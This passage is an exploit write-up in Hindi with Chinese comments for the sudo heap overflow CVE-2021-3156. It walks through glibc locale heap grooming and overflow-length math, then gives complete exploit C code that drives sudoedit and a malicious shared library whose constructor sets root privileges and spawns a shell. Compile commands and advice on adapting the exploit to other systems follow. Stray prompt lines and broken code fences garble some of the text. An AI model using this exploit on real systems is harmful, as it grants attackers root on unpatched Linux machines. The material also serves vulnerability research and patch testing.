
  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名,也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件,则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
  //每次mask 值会-1,这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

दो प्रमुख पास किए गए पैरामीटर do_allocate और mask हैं। do_allocate यह दर्शाता है कि क्या नई मेमोरी सक्रिय रूप से आवंटित की जाएगी। यदि यह 0 है, तो सीधे मौजूदा लिंक्ड सूची में खोज की जाती है; सामान्यतः मौजूदा लिंक्ड सूची खाली होती है, इसलिए सीधे वापस लौटा दिया जाता है। यदि do_allocate 0 नहीं है, तो लिंक्ड सूची का विस्तार किया जाएगा।

_nl_make_l10nflist फ़ंक्शन के एक बार कॉल करने पर 1-2 chunk आवंटित किए जाते हैं, जिनका आकार निश्चित नहीं होता। पहला chunk mask से संयोजित फ़ाइल नाम की लंबाई के आधार पर आवंटित किया जाता है। यदि वह फ़ाइल नाम दोहराया नहीं गया है, तो दूसरा chunk आवंटित किया जाएगा, जो फ़ाइल नाम प्रबंधित करने वाला एक परिवर्तनीय-लंबाई वाला संरचना है। इसका कोई विशेष उपयोग नहीं है, और यह हमारे नियंत्रण में नहीं है, इसलिए इसे यहाँ अनदेखा किया गया है।

mask में कुल चार बिट होते हैं। इन चार फ़्लैग बिट्स के माध्यम से इस ऑपरेशन का फ़ाइल नाम तय होता है। चार फ़्लैग बिट्स यह दर्शाते हैं कि वर्गाकार कोष्ठक ([]) में मौजूद सामग्री शामिल है या नहीं:``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
जिनमें dir(/usr/lib/locale), language(C), filename(पर्यावरण चर नाम) सभी निश्चित हैं, कोष्ठक में मौजूद सामग्री mask मान के आधार पर वैकल्पिक रूप से उत्पन्न की जा सकती है। जैसे:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

तो:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
अलग-अलग mask के अनुसार, निम्नलिखित उत्पन्न हो सकते हैं:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

चूँकि हमारे इनपुट में मूल रूप से देश की जानकारी शामिल नहीं होती, यानी [_territory] फ़ील्ड पहले से खाली होती है, तो mask चाहे 1 हो या न हो, यह फ़ील्ड मौजूद नहीं होगी। इसी कारण अलग-अलग mask अंततः एक ही फ़ाइल नाम बनाते हैं, और यही बताता है कि ऊपर समान फ़ाइल नाम मिलने पर release करके return करने का ऑपरेशन क्यों है।

हीप आवंटन के सिद्धांत का विश्लेषण अब लगभग पूरा हो चुका है। वास्तविक स्थिति के अनुसार इसे समझकर layout तैयार किया जा सकता है। मेरे डिबगिंग वातावरण में केवल यह जानना आवश्यक है कि इनपुट पर्यावरण चर (environment variable) के मान के आधार पर strdup ऑपरेशन होता है, और अंत में strdup द्वारा बनाए गए कई chunk एक साथ free कर दिए जाते हैं। यही ऑपरेशन मुख्य बिंदु है। यदि अधिक जटिल वातावरण मिलता है, तो mask के आधार पर free किए जाने वाले हीप ब्लॉक के आकार और संख्या को नियंत्रित करने वाले ऑपरेशन की आवश्यकता हो सकती है।

शोषण अभ्यास

मेरे डिबगिंग वातावरण पर लौटते हैं:

image-20220123134419470

मैं vuln chunk को target chunk, यानी 7 नंबर chunk, के पहले रखना चाहता हूँ, और 123456 में से किसी भी chunk को नष्ट नहीं करना चाहता

तो हीप लेआउट की सोच इस प्रकार है:

  1. चूँकि 1, 2, 4, 6 chunks सभी 0x20 आकार के chunk हैं, 0x20 आकार के chunk के लिए प्रोग्राम के चलने के दौरान कई आवंटन (allocation) ऑपरेशन होते हैं, जिससे 0x20 की tcache जल्दी खत्म हो जाती है। दूसरे शब्दों में, जब तक nss_ parse_file फ़ंक्शन चलता है, 0x20 की tcache लगभग बचती नहीं है; आगे आवंटन केवल topchunk या small/large/unsorted bin से कटिंग द्वारा हो सकता है। इसलिए इस पर ध्यान देने की आवश्यकता नहीं है।

  2. हमारा मुख्य ध्यान इस बात पर है कि 3 और 5 नंबर chunk तथा 7 नंबर chunk के बीच एक विशेष आकार का 0xX0 chunk कैसे डाला जाए (जो vuln chunk के आवंटन से पहले खत्म न हो)। मोटे तौर पर चित्र के अनुसार:

    image-20220123134611280

  3. चूँकि पूरे हीप लेआउट प्रक्रिया में शामिल सभी chunk setlocale द्वारा आवंटित मेमोरी हैं, और setlocale की ये चीज़ें मूल रूप से बेकार हैं, भले ही उन्हें overwrite कर दिया जाए, क्रैश नहीं होगा। इसलिए हमारे vuln chunk और target chunk के बीच कसकर संपर्क न होने पर भी कोई दिक्कत नहीं है

  4. इसलिए अंतिम सोच यह है कि setlocale में दो 0x40 आकार के chunk आवंटित करें, फिर एक 0xa0 आकार का chunk (यानी ऊपर उल्लिखित 0xX0 chunk) आवंटित करें, और फिर एक 0x40 आकार का chunk आवंटित करें। इस प्रकार वे उल्टे क्रम में free होंगे, और फिर nss_parse_file फ़ंक्शन में उसी क्रम में आवंटित होंगे। साथ ही, nss_parse_file फ़ंक्शन में getline एक 0x80 आकार का chunk आवंटित करेगा, जो हमारे आरक्षित 0xa0 chunk को "सुरक्षित" रखेगा।

अगला कदम हटाए गए chunk और overflow chunk के बीच की दूरी की गणना करना है:

image-20220123114452223

0x5576b5ac7000-0x5576b5ac69b0=0x650

कुल 0xa0 इनपुट पैरामीटर को दो भागों में बाँटा जा सकता है: x संख्या में \\ (प्रत्येक एक अलग स्ट्रिंग है, जो दो बाइट घेरती है) और एक 'a' * y (y अक्षर 'a' एक स्ट्रिंग है, जो y+1 बाइट घेरता है), 2x+y = 0xa0-0x10 (यहाँ 0xa0-0x10 इसलिए क्योंकि हमारा vuln chunk 0xa0 आकार का है, लेकिन वास्तविक आवंटन में 0x10 कम चाहिए)। अंतिम कमांड लगभग इस प्रकार है:``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
x, y की गणना करें ताकि:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

पहले समीकरण का सिद्धांत यह है कि, चूँकि इनपुट में कई \\ होते हैं, इसलिए प्रत्येक कॉपी पर अतिप्रवाह होता है, और प्रत्येक अतिप्रवाह पिछले से 1 बाइट कम होता है, इसलिए समांतर श्रेणी का योग प्राप्त होता है। सरलीकरण करने पर:``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
मेरी तरफ से हल यह निकला:```
x=11
y=121

अंत में sudoedit पैरामीटर के माध्यम से ओवरफ्लो होने वाली लंबाई 0x5f9 है, बाकी हिस्से को पर्यावरण चर में \\ से भरा जा सकता है। पर्यावरण चर केवल एक बार कॉपी होता है। अंत में स्ट्रक्चर को ओवरराइट करते समय ध्यान दें कि so नाम स्ट्रिंग स्ट्रक्चर ऑफसेट 0x30 पर है, स्ट्रिंग से पहले के स्ट्रक्चर तत्वों को \x00 से ओवरराइड करना होगा। (इस भाग पर विस्तार से नहीं जाऊँगा, उपयुक्त ओवरफ्लो लंबाई वाला पेलोड कैसे बनाया जाए इसमें भी बहुत तकनीकी सामग्री नहीं है, मैं यहाँ मुख्य रूप से एक सामान्य त्वरित गणना विधि दे रहा हूँ)

फिर नकली so लाइब्रेरी को संकलित करें, यहाँ सीधे attribute मैक्रो से संकलित फ़ंक्शन बाइनरी फ़ाइल लोड होने पर स्वचालित रूप से निष्पादित होगा, यानी कंस्ट्रक्टर फ़ंक्शन। exp इस प्रकार है:

exp

मेरे डीबग वातावरण में exp इस प्रकार है:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
execve("/usr/local/bin/sudoedit",argv,envp);

}

root@kitploit:~
lib.c निम्नलिखित है:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

संकलन कमांड:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
सफलता:

image-20220123115529219

### विशिष्ट पर्यावरण के लिए exp संशोधित करने की विधि

यह मुख्य रूप से स्वयं के शोध और डीबगिंग की सुविधा के लिए है, न कि वास्तविक आक्रमण के लिए। वास्तविक आक्रमण के लिए अभी भी ब्रूट-फोर्स की सलाह दी जाती है, पर्यावरण के अनुसार निम्नलिखित बिंदुओं को जानना आवश्यक है:

1. नियंत्रणीय vuln आकार, अर्थात setlocale में छोड़ा गया free tcache, vuln आवंटन से पहले उपभोग नहीं किया जाएगा, एक उपयुक्त आकार खोजने की आवश्यकता है(मेरे exp में 0xa0 के अनुरूप)
2. vuln को कहाँ रखा जाना चाहिए, अर्थात vuln chunk से पहले कितने 0x40 chunk हैं और बाद में कितने 0x40 chunk हैं(मेरे exp के main फ़ंक्शन में कई addChunk फ़ंक्शन के अनुरूप)।
3. target chunk से vuln chunk की दूरी, अर्थात target chunk addr - vuln chunk  addr(मेरे exp में 0x650 के अनुरूप)।

उपरोक्त तीन बिंदुओं को संशोधित करने से, मूल रूप से उच्च संभावना के साथ सीधे सफलता मिल सकती है।

## भेद्यता शोषण को प्रभावित करने वाले कारक

हीप लेआउट को प्रभावित करने वाले कारक बहुत अधिक हैं। sudo के समान संस्करण में भी, संकलन विकल्पों में अंतर हीप लेआउट को बदल सकता है(जब तक ओवरफ्लो से पहले हीप आवंटन में भाग लेने वाले फ़ंक्शन जोड़े या हटाए जाते हैं, हीप लेआउट के बदलने की बहुत अधिक संभावना है)।

डिस्ट्रीब्यूशन और स्वयं-संकलित संस्करण के sudo का हीप लेआउट अलग होता है

वैश्विक sudo कॉन्फ़िगरेशन फ़ाइलों में अंतर भी प्रभावित करता है

passwd जैसी सामान्य फ़ाइलें भी प्रभावित करती हैं

nsswitch.conf फ़ाइल का अंतर भी प्रभावित करता है

glibc संस्करण

अन्य वैश्विक वातावरण(या वातावरण फ़ाइलें)

## शमन उपाय

नवीनतम संस्करण में अपग्रेड करें।

## कुछ डीबग कमांड```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

देखें service_table संरचना``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
हीप ओवरफ़्लो के बाद सबसे पहले कॉल होने वाले nss फ़ंक्शन को देखने के लिए, पहले ओवरफ़्लो स्थान पर ब्रेक लगाएँ:```
b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

कुछ प्रमुख फ़ंक्शन तथा कोड...``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
## संदर्भ

कंपनी के आंतरिक दिग्गज का ब्लॉग

52pojie ब्लॉग: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156
टूल डाउनलोड करें